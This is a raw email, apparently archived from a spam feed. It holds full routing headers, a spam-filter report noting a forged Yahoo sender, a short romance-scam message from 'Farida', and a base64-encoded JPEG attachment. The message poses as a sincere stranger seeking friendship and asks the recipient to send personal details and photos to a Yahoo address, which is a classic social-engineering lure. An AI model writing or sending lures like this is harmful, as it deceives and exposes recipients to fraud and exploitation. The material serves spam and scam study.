X-Barracuda-Apparent-Source-IP: 23.97.71.3 Received: from [23.97.71.3] (localhost [IPv6:::1]) by mail.rackspace.com (Postfix) with ESMTP id 431FE20843; Mon, 3 Feb 2014 18:48:22 +0000 (UTC) Received: from 41.190.90.76 (SquirrelMail authenticated user admin) by 23.97.71.3 with HTTP; Mon, 3 Feb 2014 18:48:22 -0000 Message-ID: <17aaacb4dcff48ab193d84d6b6d864d9.squirrel@23.97.71.3> Date: Mon, 3 Feb 2014 18:48:22 -0000 Subject: Hi, I am Farida From: "Farida" X-ASG-Orig-Subj: Hi, I am Farida Reply-To: abdulazeez_farida@yahoo.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="----=_20140203184822_46399" X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: UNKNOWN[23.97.71.3] X-Barracuda-Start-Time: 1391474362 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.51 X-Barracuda-Spam-Status: No, SCORE=1.51 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS ------=_20140203184822_46399 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Hi, I am Farida I would like to be your friend. It takes two to TANGLE and make a trail of friendship. I would have to know more about you and i am sending a picture of my self to you already. I would love to receive an email from you, telling me more about yourself and some photos of you as well. I am HONEST and PASSIONATE, NICE and FAITHFUL as well. Love hearing from you. We can then pursue this further on through email abdulazeez_farida@yahoo.com ------=_20140203184822_46399 Content-Type: image/jpeg; name="AISHA.jpg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="AISHA.jpg" /9j/4AAQSkZJRgABAQEASABIAAD/4gv4SUNDX1BST0ZJTEUAAQEAAAvoAAAAAAIAAABtbnRyUkdC IFhZWiAH2QADABsAFQAkAB9hY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAA9tYAAQAA AADTLQAAAAAp+D3er/JVrnhC+uTKgzkNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBk ZXNjAAABRAAAAHliWFlaAAABwAAAABRiVFJDAAAB1AAACAxkbWRkAAAJ4AAAAIhnWFlaAAAKaAAA ABRnVFJDAAAB1AAACAxsdW1pAAAKfAAAABRtZWFzAAAKkAAAACRia3B0AAAKtAAAABRyWFlaAAAK yAAAABRyVFJDAAAB1AAACAx0ZWNoAAAK3AAAAAx2dWVkAAAK6AAAAId3dHB0AAALcAAAABRjcHJ0 AAALhAAAADdjaGFkAAALvAAAACxkZXNjAAAAAAAAAB9zUkdCIElFQzYxOTY2LTItMSBibGFjayBz Y2FsZWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWFlaIAAAAAAAACSgAAAPhAAAts9jdXJ2AAAA AAAABAAAAAAFAAoADwAUABkAHgAjACgALQAyADcAOwBAAEUASgBPAFQAWQBeAGMAaABtAHIAdwB8 AIEAhgCLAJAAlQCaAJ8ApACpAK4AsgC3ALwAwQDGAMsA0ADVANsA4ADlAOsA8AD2APsBAQEHAQ0B EwEZAR8BJQErATIBOAE+AUUBTAFSAVkBYAFnAW4BdQF8AYMBiwGSAZoBoQGpAbEBuQHBAckB0QHZ AeEB6QHyAfoCAwIMAhQCHQImAi8COAJBAksCVAJdAmcCcQJ6AoQCjgKYAqICrAK2AsECywLVAuAC 6wL1AwADCwMWAyEDLQM4A0MDTwNaA2YDcgN+A4oDlgOiA64DugPHA9MD4APsA/kEBgQTBCAELQQ7 BEgEVQRjBHEEfgSMBJoEqAS2BMQE0wThBPAE/gUNBRwFKwU6BUkFWAVnBXcFhgWWBaYFtQXFBdUF 5QX2BgYGFgYnBjcGSAZZBmoGewaMBp0GrwbABtEG4wb1BwcHGQcrBz0HTwdhB3QHhgeZB6wHvwfS B+UH+AgLCB8IMghGCFoIbgiCCJYIqgi+CNII5wj7CRAJJQk6CU8JZAl5CY8JpAm6Cc8J5Qn7ChEK Jwo9ClQKagqBCpgKrgrFCtwK8wsLCyILOQtRC2kLgAuYC7ALyAvhC/kMEgwqDEMMXAx1DI4MpwzA DNkM8w0NDSYNQA1aDXQNjg2pDcMN3g34DhMOLg5JDmQOfw6bDrYO0g7uDwkPJQ9BD14Peg+WD7MP zw/sEAkQJhBDEGEQfhCbELkQ1xD1ERMRMRFPEW0RjBGqEckR6BIHEiYSRRJkEoQSoxLDEuMTAxMj E0MTYxODE6QTxRPlFAYUJxRJFGoUixStFM4U8BUSFTQVVhV4FZsVvRXgFgMWJhZJFmwWjxayFtYW +hcdF0EXZReJF64X0hf3GBsYQBhlGIoYrxjVGPoZIBlFGWsZkRm3Gd0aBBoqGlEadxqeGsUa7BsU GzsbYxuKG7Ib2hwCHCocUhx7HKMczBz1HR4dRx1wHZkdwx3sHhYeQB5qHpQevh7pHxMfPh9pH5Qf vx/qIBUgQSBsIJggxCDwIRwhSCF1IaEhziH7IiciVSKCIq8i3SMKIzgjZiOUI8Ij8CQfJE0kfCSr JNolCSU4JWgllyXHJfcmJyZXJocmtyboJxgnSSd6J6sn3CgNKD8ocSiiKNQpBik4KWspnSnQKgIq NSpoKpsqzysCKzYraSudK9EsBSw5LG4soizXLQwtQS12Last4S4WLkwugi63Lu4vJC9aL5Evxy/+ MDUwbDCkMNsxEjFKMYIxujHyMioyYzKbMtQzDTNGM38zuDPxNCs0ZTSeNNg1EzVNNYc1wjX9Njc2 cjauNuk3JDdgN5w31zgUOFA4jDjIOQU5Qjl/Obw5+To2OnQ6sjrvOy07azuqO+g8JzxlPKQ84z0i PWE9oT3gPiA+YD6gPuA/IT9hP6I/4kAjQGRApkDnQSlBakGsQe5CMEJyQrVC90M6Q31DwEQDREdE ikTORRJFVUWaRd5GIkZnRqtG8Ec1R3tHwEgFSEtIkUjXSR1JY0mpSfBKN0p9SsRLDEtTS5pL4kwq THJMuk0CTUpNk03cTiVObk63TwBPSU+TT91QJ1BxULtRBlFQUZtR5lIxUnxSx1MTU19TqlP2VEJU j1TbVShVdVXCVg9WXFapVvdXRFeSV+BYL1h9WMtZGllpWbhaB1pWWqZa9VtFW5Vb5Vw1XIZc1l0n XXhdyV4aXmxevV8PX2Ffs2AFYFdgqmD8YU9homH1YklinGLwY0Njl2PrZEBklGTpZT1lkmXnZj1m kmboZz1nk2fpaD9olmjsaUNpmmnxakhqn2r3a09rp2v/bFdsr20IbWBtuW4SbmtuxG8eb3hv0XAr cIZw4HE6cZVx8HJLcqZzAXNdc7h0FHRwdMx1KHWFdeF2Pnabdvh3VnezeBF4bnjMeSp5iXnnekZ6 pXsEe2N7wnwhfIF84X1BfaF+AX5ifsJ/I3+Ef+WAR4CogQqBa4HNgjCCkoL0g1eDuoQdhICE44VH hauGDoZyhteHO4efiASIaYjOiTOJmYn+imSKyoswi5aL/IxjjMqNMY2Yjf+OZo7OjzaPnpAGkG6Q 1pE/kaiSEZJ6kuOTTZO2lCCUipT0lV+VyZY0lp+XCpd1l+CYTJi4mSSZkJn8mmia1ZtCm6+cHJyJ nPedZJ3SnkCerp8dn4uf+qBpoNihR6G2oiailqMGo3aj5qRWpMelOKWpphqmi6b9p26n4KhSqMSp N6mpqhyqj6sCq3Wr6axcrNCtRK24ri2uoa8Wr4uwALB1sOqxYLHWskuywrM4s660JbSctRO1irYB tnm28Ldot+C4WbjRuUq5wro7urW7LrunvCG8m70VvY++Cr6Evv+/er/1wHDA7MFnwePCX8Lbw1jD 1MRRxM7FS8XIxkbGw8dBx7/IPci8yTrJuco4yrfLNsu2zDXMtc01zbXONs62zzfPuNA50LrRPNG+ 0j/SwdNE08bUSdTL1U7V0dZV1tjXXNfg2GTY6Nls2fHadtr724DcBdyK3RDdlt4c3qLfKd+v4Dbg veFE4cziU+Lb42Pj6+Rz5PzlhOYN5pbnH+ep6DLovOlG6dDqW+rl63Dr++yG7RHtnO4o7rTvQO/M 8Fjw5fFy8f/yjPMZ86f0NPTC9VD13vZt9vv3ivgZ+Kj5OPnH+lf65/t3/Af8mP0p/br+S/7c/23/ /2Rlc2MAAAAAAAAALklFQyA2MTk2Ni0yLTEgRGVmYXVsdCBSR0IgQ29sb3VyIFNwYWNlIC0gc1JH QgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAAYpkAALeFAAAY2lhZWiAAAAAAAAAAAABQ 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 